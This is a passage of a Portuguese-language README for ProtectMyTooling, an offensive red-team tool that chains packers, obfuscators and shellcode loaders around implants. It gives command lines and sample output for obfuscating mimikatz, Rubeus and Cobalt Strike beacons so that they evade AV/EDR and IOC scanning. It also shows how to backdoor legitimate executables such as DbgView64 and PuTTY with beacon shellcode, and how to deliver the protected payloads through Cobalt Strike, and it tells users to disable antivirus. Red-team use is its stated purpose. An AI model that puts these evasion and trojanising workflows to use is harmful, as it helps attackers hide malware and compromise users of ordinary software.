O exemplo acima primeiramente passará `mimikatz.exe` para o Hyperion para ofuscação, e então o resultado será fornecido ao UPX para compressão. Resultando em `UPX(Hyperion(file))`

## Recursos

- Suporta múltiplos Packers PE diferentes, Ofuscadores .NET, Loaders/Builders de Shellcode
- Permite encadeamento de packers onde a saída de um packer é passada para o consecutivo: `callobf,hyperion,upx` produzirá o artefato `UPX(Hyperion(CallObf(file)))`
- Coleta IOCs em cada etapa de ofuscação para que solicitações de auditoria e Blue Team possam ser atendidas
- Oferece funcionalidade para injetar Watermarks personalizadas em artefatos PE resultantes - no DOS Stub, Checksum, como uma Seção PE independente, no Overlay do arquivo
- Vem com um script agressor do Cobalt Strike que traz comandos `protected-upload` e `protected-execute-assembly`
- Uso direto pela linha de comando

## Instalação

**Esta ferramenta foi projetada para funcionar no Windows, já que a maioria dos packers tem como alvo nativo essa plataforma.**

Algumas funcionalidades podem funcionar no Linux, no entanto, esse suporte não é totalmente testado, por favor reporte bugs e problemas.

1. Primeiro, **desabilite seu AV** e adicione o diretório `contrib` às exclusões. Esse diretório contém ofuscadores, protetores que serão sinalizados pelo AV e removidos.
2. Em seguida, clone este repositório```
PS C:\> git clone --recurse https://github.com/Binary-Offensive/ProtectMyTooling

**Linux**```
bash# ./install.sh

## Configuração

Para conectar ofuscadores suportados, alterar opções padrão ou apontar **ProtectMyTooling** para o caminho do executável do seu ofuscador, você precisará ajustar o arquivo de configuração `config\ProtectMyTooling.yaml`.

Há também o arquivo `config\sample-full-config.yaml` contendo todas as opções disponíveis para todos os empacotadores suportados, servindo como ponto de referência.


## Lembrete amigável

- Se o binário produzido falhar ou não funcionar como esperado - tente usar uma cadeia diferente de empacotadores.
- Empacotadores não garantem a estabilidade dos binários produzidos, portanto, o ProtectMyTooling também não pode.
- Ao encadear, combine cuidadosamente os formatos de carga útil de saída->entrada de acordo com o que o empacotador consecutivo espera.

---

## Uso

Antes do primeiro uso do `ProtectMyTooling`, é essencial ajustar o arquivo de configuração YAML do programa `ProtectMyTooling.yaml`. 
A ordem de processamento dos parâmetros é a seguinte:

- Primeiramente, os parâmetros padrão são usados
- Em seguida, eles são substituídos pelos valores provenientes do YAML
- Finalmente, o que for fornecido na linha de comando substituirá os valores correspondentes

Lá, os caminhos e opções dos empacotadores suportados devem ser configurados para habilitar.

### Cenário 1: Ofuscação simples com ConfuserEx

O uso é muito simples, basta passar o nome do ofuscador a escolher, os caminhos dos arquivos de entrada e saída:```
C:\> py ProtectMyTooling.py confuserex Rubeus.exe Rubeus-obf.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;\''';;;;\'\''',;;;'````;;;;;;;;\'\'''
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;\'''.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

[.] Processing x86 file: "\Rubeus.exe"
[.] Generating output of ConfuserEx(<file>)...

[+] SUCCEEDED. Original file size: 417280 bytes, new file size ConfuserEx(<file>): 756224, ratio: 181.23%

[...]

### Cenário 3: Ofuscação complexa de malware com marca d'água e coleta de IOCs

O caso de uso abaixo recebe `beacon.exe` como entrada e o alimenta consecutivamente nos empacotadores `CallObf` -> `UPX` -> `Hyperion`.

Em seguida, injetará a marca d'água `fooobar` especificada no DOS Stub do artefato de saída final gerado, bem como modificará a soma de verificação desse artefato com o valor `0xAABBCCDD`.

Por fim, o ProtectMyTooling capturará todos os IOCs (md5, sha1, sha256, imphash e outros metadados) e os salvará em um arquivo CSV auxiliar. Esse arquivo pode ser usado para correspondência de IOCs à medida que o engajamento se desenrola.```
PS> py .\ProtectMyTooling.py callobf,upx,hyperion beacon.exe beacon-obf.exe -i -I operation_chimera -w dos-stub=fooobar -w checksum=0xaabbccdd

    [...]

[.] Processing x64 file: "beacon.exe"
[>] Generating output of CallObf(<file>)...

[.] Before obfuscation file's PE IMPHASH:       17b461a082950fc6332228572138b80c
[.] After obfuscation file's PE IMPHASH:        378d9692fe91eb54206e98c224a25f43
[>] Generating output of UPX(CallObf(<file>))...

[>] Generating output of Hyperion(UPX(CallObf(<file>)))...

[+] Setting PE checksum to 2864434397 (0xaabbccdd)
[+] Successfully watermarked resulting artifact file.
[+] IOCs written to: beacon-obf-ioc.csv

[+] SUCCEEDED. Original file size: 288256 bytes, new file size Hyperion(UPX(CallObf(<file>))): 175616, ratio: 60.92%

## Packers Suportados

O `ProtectMyTooling` foi projetado para suportar não apenas Ofuscadores/Packers, mas também todos os tipos de builders/geradores/loaders de shellcode que podem ser usados a partir da linha de comando.

No momento, o programa suporta vários packers/ofuscadores comerciais e de código aberto. Os de código aberto estão incluídos no projeto.
Os comerciais exigirão que o usuário adquira o produto e configure sua localização no arquivo `ProtectMyTooling.yaml` para indicar ao script onde encontrá-los.

1. [`Amber`](https://github.com/EgeBalci/amber) - Packer PE Reflexivo que recebe EXE/DLL como entrada e produz EXE/shellcode PIC
2. [`AtomPePacker`](https://github.com/ORCx41/AtomPePacker) - Um Packer PE altamente capaz
3. [`AsStrongAsFuck`](https://github.com/Charterino/AsStrongAsFuck) - Um ofuscador de console para assemblies .NET por Charterino
4. [`CallObfuscator`](https://github.com/d35ha/CallObfuscator) - Ofusca APIs específicas do Windows com diferentes APIs.
5. [`ConfuserEx`](https://github.com/mkaring/ConfuserEx) - Ofuscador .NET popular, bifurcado de [Martin Karing](https://github.com/mkaring)
6. [`Donut`](https://github.com/TheWover/donut) - Loader PE popular que recebe EXE/DLL/.NET como entrada e produz um shellcode PIC
7. [`Enigma`](https://enigmaprotector.com/) - Um sistema poderoso projetado para proteção abrangente de arquivos executáveis
8. [`Freeze`](https://github.com/optiv/Freeze) - Recebe arquivo EXE/DLL como entrada e produz uma saída com certificado clonado, IoCs específicos do Go removidos e tamanho aumentado. Por Matt Eidelberg (@Tyl0us).
9. [`Hyperion`](https://nullsecurity.net/tools/binary.html) - criptografador em tempo de execução para executáveis portáteis de 32 e 64 bits. É uma implementação de referência baseada no artigo "Hyperion: Implementation of a PE-Crypter"
10. [`IntelliLock`](https://www.eziriz.com/intellilock.htm) - combina segurança de licença forte, funcionalidade/esquema de licenciamento altamente adaptável com proteção confiável de assembly
11. [`InvObf`](https://github.com/danielbohannon/Invoke-Obfuscation) - Ofusca scripts PowerShell com `Invoke-Obfuscation` (por Daniell Bohannon)
12. [`LoGiC.NET`](https://github.com/AnErrupTion/LoGiC.NET) - Um ofuscador .NET gratuito e de código aberto mais avançado usando dnlib por AnErrupTion
13. [`Mangle`](https://github.com/optiv/Mangle) - Recebe arquivo EXE/DLL como entrada e produz uma saída com certificado clonado, IoCs específicos do Go removidos e tamanho aumentado. Por Matt Eidelberg (@Tyl0us).
14. [`MPRESS`](https://www.autohotkey.com/mpress/mpress_web.htm) - Compressor MPRESS por Vitaly Evseenko. Recebe EXE/DLL/.NET/MAC-DARWIN (x86/x64) como entrada e o comprime.
15. [`NetReactor`](https://www.eziriz.com/dotnet_reactor.htm) - Sistema de proteção de código .NET incomparável que impede completamente que alguém descompile seu código
16. [`NetShrink`](https://www.pelock.com/pl/produtos/netshrink) - um packer de EXE, também conhecido como compressor de executável, protetor de senha de aplicativo e vinculador de DLL virtual para aplicativos .NET Windows e Linux.
17. [`Nimcrypt2`](https://github.com/icyguider/Nimcrypt2) - Gera loader Nim que executa entrada .NET, PE ou Shellcode Bruto. Desenvolvido por [(@icyguider)](https://twitter.com/icyguider)
18. [`NimPackt-v1`](https://github.com/chvancooten/NimPackt-v1) - Recebe Shellcode ou Executável .NET como entrada, produz loader EXE ou DLL. Trazido a você por Cas van Cooten [(@chvancooten)](https://twitter.com/chvancooten)
19. [`NimSyscallPacker`](https://github.com/S3cur3Th1sSh1t-Sponsors/NimSyscallPacker) - Recebe executável PE/Shellcode/.NET e gera um loader robusto EXE/DLL Nim+Syscalls. Sponsorware desenvolvido por [(@S3cur3Th1sSh1t)](https://twitter.com/ShitSecure)
20. [`Packer64`](https://github.com/jadams/Packer64) - wrapper em torno do `Packer64` de John Adams
21. [`pe2shc`](https://github.com/hasherezade/pe_to_shellcode) - Converte PE em shellcode. Por este que vos escreve [@hasherezade](https://twitter.com/hasherezade)
22. [`peCloak`](https://github.com/v-p-b/peCloakCapstone/blob/master/peCloak.py) - Uma Ferramenta de Bypass de Evasão AV com Codificador Multi-Passagem e Sandbox Heurística
23. [`peresed`](https://github.com/avast/pe_tools) - Usa _"peresed"_ do **avast/pe_tools** para remover todos os Recursos PE existentes e assinatura _(pense no ícone do Mimikatz)._
24. [`peunion`](https://bytecode77.com/pe-union) - Criptografa executáveis (x86 ou .NET x86/x64), que são descriptografados em tempo de execução e executados em memória
25. [`ScareCrow`](https://github.com/optiv/ScareCrow) - Loader de shellcode x64 evasivo de EDR que produz loader de artefato DLL/CPL/XLL/JScript/HTA
26. [`sgn`](https://github.com/EgeBalci/sgn) - Codificador Shikata ga nai (仕方がない) portado para go com várias melhorias. Recebe shellcode, produz shellcode codificado
27. [`SmartAssembly`](https://www.red-gate.com/products/dotnet-development/smartassembly/) - ofuscador que ajuda a proteger sua aplicação contra engenharia reversa ou modificação, dificultando o acesso de terceiros ao seu código fonte
28. [`sRDI`](https://github.com/monoxgas/sRDI) - Converte DLLs em shellcode independente de posição. Desenvolvido por: [Nick Landers, @monoxgas](https://twitter.com/monoxgas)
29. [`Themida`](https://www.oreans.com/Themida.php) - Sistema avançado de proteção de software Windows
30. [`UPX`](https://upx.github.io/) - um empacotador de executáveis gratuito, portátil, extensível e de alto desempenho para vários formatos de executáveis.
31. [`VMProtect`](https://vmpsoft.com/) - protege o código executando-o em uma máquina virtual com arquitetura não padrão que torna extremamente difícil analisar e quebrar o software

Você pode listar rapidamente os packers suportados usando a opção `-L` (as colunas da tabela são escolhidas dependendo da largura do Terminal, quanto mais largo, mais informações são reveladas):```
C:\> py ProtectMyTooling.py -L
    [...]

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| #  |      Name      |     Type    |       Licensing       |            Input            |         Output         |                         Author                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+
| 1  |     amber      | open-source |    Shellcode Loader   |              PE             |     EXE, Shellcode     |                       Ege Balci                        |
| 2  | asstrongasfuck | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 Charterino, klezVirus                  |
| 3  |  atompepacker  | open-source |  PE EXE/DLL Protector |              PE             |        EXE, DLL        |            ORCA (@ORCx41, [email protected])            |
| 4  |    backdoor    | open-source |    Shellcode Loader   |          Shellcode          |           PE           |              Mariusz Banach, @mariuszbit               |
| 5  |    callobf     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                Mustafa Mahmoud, @d35ha                 |
| 6  |   confuserex   | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                        mkaring                         |
| 7  |  donut-packer  | open-source |  Shellcode Converter  | PE, .NET, VBScript, JScript |       Shellcode        |                        TheWover                        |
| 8  |     enigma     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |          The Enigma Protector Developers Team          |
| 9  |     freeze     | open-source |    Shellcode Loader   |          Shellcode          |           PE           |                Matt Eidelberg (@Tyl0us)                |
| 10 |    hyperion    | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                   nullsecurity team                    |
| 11 |  intellilock   |  commercial |    .NET Obfuscator    |              PE             |           PE           |                         Eziriz                         |
| 12 |     invobf     | open-source | Powershell Obfuscator |          Powershell         |       Powershell       |                    Daniel Bohannon                     |
| 13 |    logicnet    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                 AnErrupTion, klezVirus                 |
| 14 |     mangle     | open-source |   Executable Signing  |              PE             |           PE           |                Matt Eidelberg (@Tyl0us)                |
| 15 |     mpress     |   freeware  | PE EXE/DLL Compressor |              PE             |           PE           |                    Vitaly Evseenko                     |
| 16 |   netreactor   |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                         Eziriz                         |
| 17 |   netshrink    | open-source |    .NET Obfuscator    |             .NET            |          .NET          |                     Bartosz Wójcik                     |
| 18 |   nimcrypt2    | open-source |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                       @icyguider                       |
| 19 |    nimpackt    | open-source |    Shellcode Loader   |       .NET, Shellcode       |           PE           |             Cas van Cooten (@chvancooten)              |
| 20 |   nimsyscall   | sponsorware |    Shellcode Loader   |     PE, .NET, Shellcode     |           PE           |                    @S3cur3Th1sSh1t                     |
| 21 |    packer64    | open-source | PE EXE/DLL Compressor |              PE             |           PE           |                  John Adams, @jadams                   |
| 22 |     pe2shc     | open-source |  Shellcode Converter  |              PE             |       Shellcode        |                      @hasherezade                      |
| 23 |    pecloak     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |     Mike Czumak, @SecuritySift, buherator / v-p-b      |
| 24 |    peresed     | open-source |  PE EXE/DLL Protector |              PE             |           PE           |                  Martin Vejnár, Avast                  |
| 25 |    peunion     |   freeware  | PE EXE/DLL Compressor |           PE, .NET          |           PE           |  Martin Fischer / bytecode77 <[email protected]>   |
| 26 |   scarecrow    | open-source |    Shellcode Loader   |          Shellcode          | DLL, JScript, CPL, XLL |                Matt Eidelberg (@Tyl0us)                |
| 27 |      sgn       | open-source |   Shellcode Encoder   |          Shellcode          |       Shellcode        |                       Ege Balci                        |
| 28 | smartassembly  |  commercial |    .NET Obfuscator    |             .NET            |          .NET          |                        Red-Gate                        |
| 29 |      srdi      | open-source |   Shellcode Encoder   |             DLL             |       Shellcode        |                Nick Landers, @monoxgas                 |
| 30 |    themida     |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                         Oreans                         |
| 31 |      upx       | open-source | PE EXE/DLL Compressor |              PE             |           PE           | Markus F.X.J. Oberhumer, László Molnár, John F. Reiser |
| 32 |   vmprotect    |  commercial |  PE EXE/DLL Protector |              PE             |           PE           |                        vmpsoft                         |
+----+----------------+-------------+-----------------------+-----------------------------+------------------------+--------------------------------------------------------+

Há também uma abordagem independente, incluída no script `RedWatermarker.py`.

Ela recebe um artefato executável como entrada e aceita alguns parâmetros que indicam onde injetar uma marca d'água e qual valor deve ser inserido.

Um exemplo de execução definirá o Checksum PE para 0xAABBCCDD, insere `foooobar` no Stub DOS do arquivo PE (bytes contendo _This program cannot be run..._), anexa `bazbazbaz` ao overlay do arquivo e, em seguida, cria uma nova seção PE chamada `.coco`, anexa-a ao final do arquivo e preenche essa seção com um marcador predefinido.```
py RedWatermarker.py beacon-obf.exe -c 0xaabbccdd -t fooooobar -e bazbazbaz -s .coco,ALLYOURBASEAREBELONG

                  ;
                  ED.
                 ,E#Wi

Watermark thy implants, track them in VirusTotal
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>

Atualmente, apenas a marca d'água de arquivos PE é suportada, mas no futuro, documentos do Office e outros formatos serão adicionados também.

### Coleção de IOCs

Os IOCs podem ser coletados simplesmente usando a opção `-i` na execução do `ProtectMyTooling`.

Eles estão sendo coletados nas seguintes fases:

- no arquivo de entrada
- após cada rodada de ofuscação em um arquivo intermediário
- no arquivo de saída final

Eles conterão os seguintes campos salvos em forma de um arquivo CSV:

- `timestamp`
- `filename` - nome do arquivo
- `author` - formado como `username@hostname`
- `context` - se um registro aponta para um arquivo de entrada, saída ou intermediário
- `comment` - valor ajustado pelo usuário através da opção `-I value`
- `md5`
- `sha1`
- `sha256`
- `imphash` - Hash de Imports PE, se disponível
- (TODO) `typeref_hash` - Hash de TypeRef .NET, se disponível

O resultado será um arquivo CSV chamado `outfile-ioc.csv` armazenado ao lado do artefato de saída gerado. Esse arquivo é escrito em modo APPEND, ou seja, receberá todos os IOCs subsequentes.


# RedBackdoorer - Backdooring PE embutido

`ProtectMyTooling` utiliza meu próprio script `RedBackdoorer.py` que fornece alguns métodos para backdooring de executáveis PE. O suporte vem como um packer dedicado chamado `backdoor`. Exemplo de uso:

**Pega shellcode do Cobalt Strike na entrada e codifica com SGN (Shikata Ga-Nai), então backdoora o SysInternals DbgView64.exe e produz um loader reflexivo Amber EXE**```
PS> py ProtectMyTooling.py sgn,backdoor,amber beacon64.bin dbgview64-infected.exe -B dbgview64.exe

    ::::::::::.:::::::..      ...  :::::::::::.,::::::  .,-::::::::::::::::
     `;;;```.;;;;;;``;;;;  .;;;;;;;;;;;;;;;;;;;,;;;'````;;;;;;;;
      `]]nnn]]' [[[,/[[[' ,[[     \[[,  [[     [[cccc [[[           [[
       $$$""    $$$$$$c   $$$,     $$$  $$     $$"""" $$$           $$
       888o     888b "88bo"888,_ _,88P  88,    888oo,_`88bo,__,o,   88,
    .  YMMMb :.-:.MM   ::-. "YMMMMMP"   MMM    """"YUMMM"YUMMMMMP"  MMM
    ;;,.    ;;;';;.   ;;;;'
    [[[[, ,[[[[, '[[,[[['
    $$$$$$$$"$$$   c$$"
    888 Y88" 888o,8P"`
    ::::::::::::mM...        ...     :::    :::::.    :::. .,-:::::/
    ;;;;;;;;.;;;;;;;.  .;;;;;;;.  ;;;    ;;`;;;;,  `;;,;;-'````'
         [[   ,[[     \[[,[[     \[[,[[[    [[[ [[[[[. '[[[[   [[[[[[/
         $$   $$$,     $$$$$,     $$$$$'    $$$ $$$ "Y$c$"$$c.    "$$
         88,  "888,_ _,88"888,_ _,88o88oo,._888 888    Y88`Y8bo,,,o88o
         MMM    "YMMMMMP"  "YMMMMMP"""""YUMMMMM MMM     YM  `'YMUP"YMM

    Red Team implants protection swiss knife.

    Multi-Packer wrapping around multitude of packers, protectors, shellcode loaders, encoders.
    Mariusz Banach / mgeeky '20-'22, <[email protected]>
    v0.16

[.] Processing x64 file :  beacon64.bin
[>] Generating output of sgn(<file>)...
[>] Generating output of backdoor(sgn(<file>))...
[>] Generating output of Amber(backdoor(sgn(<file>)))...

[+] SUCCEEDED. Original file size: 265959 bytes, new file size Amber(backdoor(sgn(<file>))): 1372672, ratio: 516.12%

 ██▀███ ▓█████▓█████▄
▓██ ▒ ██▓█   ▀▒██▀ ██▌
▓██ ░▄█ ▒███  ░██   █▌
▒██▀▀█▄ ▒▓█  ▄░▓█▄   ▌
░██▓ ▒██░▒████░▒████▓
░ ▒▓ ░▒▓░░ ▒░ ░▒▒▓  ▒
  ░▒ ░ ▒░░ ░  ░░ ▒  ▒
  ░░   ░   ░   ░ ░  ░
 ▄▄▄▄   ▄▄▄░  ░  ▄████▄  ██ ▄█▓█████▄ ▒█████  ▒█████  ██▀███ ▓█████ ██▀███
▓█████▄▒████▄  ░▒██▀ ▀█  ██▄█▒▒██▀ ██▒██▒  ██▒██▒  ██▓██ ▒ ██▓█   ▀▓██ ▒ ██▒
▒██▒ ▄█▒██  ▀█▄ ▒▓█    ▄▓███▄░░██   █▒██░  ██▒██░  ██▓██ ░▄█ ▒███  ▓██ ░▄█ ▒
▒██░█▀ ░██▄▄▄▄██▒▓▓▄ ▄██▓██ █▄░▓█▄   ▒██   ██▒██   ██▒██▀▀█▄ ▒▓█  ▄▒██▀▀█▄
░▓█  ▀█▓▓█   ▓██▒ ▓███▀ ▒██▒ █░▒████▓░ ████▓▒░ ████▓▒░██▓ ▒██░▒████░██▓ ▒██▒
░▒▓███▀▒▒▒   ▓▒█░ ░▒ ▒  ▒ ▒▒ ▓▒▒▒▓  ▒░ ▒░▒░▒░░ ▒░▒░▒░░ ▒▓ ░▒▓░░ ▒░ ░ ▒▓ ░▒▓░
▒░▒   ░  ▒   ▒▒ ░ ░  ▒  ░ ░▒ ▒░░ ▒  ▒  ░ ▒ ▒░  ░ ▒ ▒░  ░▒ ░ ▒░░ ░  ░ ░▒ ░ ▒░
 ░    ░  ░   ▒  ░       ░ ░░ ░ ░ ░  ░░ ░ ░ ▒ ░ ░ ░ ▒   ░░   ░   ░    ░░   ░
 ░           ░  ░ ░     ░  ░     ░       ░ ░     ░ ░    ░       ░  ░  ░
      ░         ░              ░


Your finest PE backdooring companion.
Mariusz Banach / mgeeky '22, (@mariuszbit)
<[email protected]>

save,run
  |   |
  |   +---------- 1 - change AddressOfEntryPoint
  |               2 - hijack branching instruction at Original Entry Point (jmp, call, ...)
  |               3 - setup TLS callback
  |
  +-------------- 1 - store shellcode in the middle of a code section
                  2 - append shellcode to the PE file in a new PE section

py RedBackdoorer.py 1,2 beacon.bin putty.exe putty-infected.exe

# Integração com Cobalt Strike

Existe também um script que integra o `ProtectMyTooling.py` usado como um wrapper em torno de Packers/Protectores PE/.NET configurados, para transformar facilmente executáveis de entrada em suas formas protegidas e comprimidas e, em seguida, fazer upload ou usá-los a partir do CobaltStrike.

A ideia é ter um processo automatizado de proteger todos os binários carregados ou assemblies .NET usados pelo execute-assembly e esquecer de protegê-los ou ofuscá-los manualmente antes de cada uso. O benefício adicional de uma abordagem automatizada para transformar executáveis é a capacidade de ter o mesmo executável protegido cada vez que é usado, resultando em amostras únicas lançadas nas máquinas alvo. Isso deve enganar muito bem as varreduras de IOC em toda a empresa de EDR/AV enquanto procuram pelo mesmo artefato em máquinas diferentes.

Além disso, o comando protected-execute-assembly tem a capacidade de procurar por assemblies cujos
apenas o nome foi fornecido em um diretório de assemblies pré-configurado (definido na configuração dotnet_assemblies_directory).

Para usá-lo:

1. Carregue `CobaltStrike/ProtectMyTooling.cna` no seu Cobalt Strike.
2. Vá ao menu e configure todas as opções

![options](https://assets.kitploit.com/production/public/readmes/5634/45a8a4f1c128ccf0c0712410e5972c0197b5089b228eaaed38b5a23fa46ca5fd.png)

3. Em seguida, no console do seu Beacon, você terá os seguintes comandos disponíveis:

  * `protected-execute-assembly` - Executa um programa .NET local, previamente protegido e comprimido, na memória do alvo.
  * `protected-upload` - Pega um arquivo de entrada, protege-o se for um executável PE e então faz upload desse arquivo para um local remoto especificado.
  * `bofnet_load_protected` - Pega um arquivo de assembly .NET de entrada, passa-o pela cadeia de packers .NET configurada, carrega a saída gerada com `bofnet_load`. O [BOFNET](https://github.com/CCob/BOF.NET/) precisa ser carregado separadamente para que isso funcione.

Basicamente, esses comandos abrirão arquivos de entrada, passarão primeiro pelo script `CobaltStrike/cobaltProtectMyTooling.py`, que por sua vez chama o `ProtectMyTooling.py`. Assim que o binário é ofuscado, ele será passado para o seu beacon para execução/upload.

## Opções relacionadas ao Cobalt Strike

Aqui está uma lista de opções necessárias para o integrador do Cobalt Strike:

* `python3_interpreter_path` - Especifique um caminho para o executável do interpretador Python3
* `protect_my_tooling_dir` - Especifique um caminho para o diretório principal do ProtectMyTooling
* `protect_my_tooling_config` - Especifique um caminho para o arquivo de configuração do ProtectMyTooling com várias opções de packers
* `dotnet_assemblies_directory` - Especifique o caminho local onde os assemblies .NET devem ser procurados se não forem encontrados pelo execute-assembly
* `cache_protected_executables` - Ative para armazenar em cache executáveis já protegidos e reutilizá-los quando necessário
* `protected_executables_cache_dir` - Especifique um caminho para um diretório que deve armazenar executáveis protegidos em cache
* `default_exe_x86_packers_chain` - Cadeia de protectores/packers para executáveis EXE nativos x86
* `default_exe_x64_packers_chain` - Cadeia de protectores/packers para executáveis EXE nativos x64
* `default_dll_x86_packers_chain` - Cadeia de protectores/packers para executáveis DLL nativos x86
* `default_dll_x64_packers_chain` - Cadeia de protectores/packers para executáveis DLL nativos x64
* `default_dotnet_packers_chain` - Cadeia de protectores/packers para executáveis .NET

---

## Problemas conhecidos

- O `ScareCrow` é muito complicado de executar no Windows. O que funcionou para mim foi o seguinte:
  1. Executar no Windows 10 e ter o WSL instalado (comando `bash.exe` disponível no Windows)
  2. Ter o `golang` instalado no WSL na versão `1.16+` (testado na `1.18`)
  3. Certifique-se de ter `PackerScareCrow.Run_ScareCrow_On_Windows_As_WSL = True` definido

---

## Créditos e tecnologia utilizada

- Todos os créditos dos packers, ofuscadores, conversores e loaders vão para seus autores. Esta ferramenta é meramente um wrapper ao redor de suas tecnologias!
  - Espero que nenhum deles se importe com a adição desses wrappers. Se houver preocupações, por favor entre em contato comigo.
  
- O _ProtectMyTooling_ também usa o [`denim.exe`](https://github.com/moloch--/denim) do **moloch--** em alguns packers baseados em Nim.

---

## TODO

- Escrever um injetor PE personalizado e oferecê-lo como "protector"
- Adicionar marca d'água (watermarking) a outros formatos de arquivo, como documentos do Office, scripts WSH (VBS, JS, HTA) e contêineres
- Adicionar suporte a alguns outros Packers/Loaders/Geradores no futuro próximo:
  - [`GadgetToJScript`](https://github.com/med0x2e/GadgetToJScript)
  - [`Limelighter`](https://github.com/Tylous/Limelighter)
  - [`PEZor`](https://github.com/phra/PEzor)
  - [`msfevenom`](https://github.com/rapid7/metasploit-framework) - duas variantes, uma para shellcode de entrada, a outra para executável

---

## Aviso de isenção de responsabilidade

O uso desta ferramenta, bem como de qualquer outro projeto do qual sou autor, para fins ilegais, hacking não solicitado ou ciberespionagem é estritamente proibido.
Esta e outras ferramentas que distribuo ajudam profissionais de Teste de Penetração, Consultores de Segurança, Engenheiros de Segurança e outros profissionais de segurança a melhorar as capacidades de defesa cibernética das redes de seus clientes.
Em nenhum caso os autores ou detentores dos direitos autorais serão responsáveis por qualquer reclamação, danos ou outra responsabilidade decorrente do uso ilegal deste software.

Se houver preocupações, problemas de direitos autorais, ameaças representadas por este software ou outras consultas - estou aberto a colaborar para resolvê-los de forma responsável.

A ferramenta expõe uma interface útil para usar principalmente software de packers/protetores/ofuscadores de código aberto ou disponíveis comercialmente, portanto, não introduz imediatamente novas ameaças ao cenário de cibersegurança como está.

---

### ☕ Mostre seu apoio ☕

Este e outros projetos são resultado de noites sem dormir e **muito trabalho duro**. Se você gosta do que faço e aprecia que eu sempre retribuo para a comunidade,
[Considere me comprar um café](https://github.com/sponsors/mgeeky) _(ou melhor, uma cerveja)_ só para dizer obrigado! 💪 

---

## Autor```   
   Mariusz Banach / mgeeky, '20-'22
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky)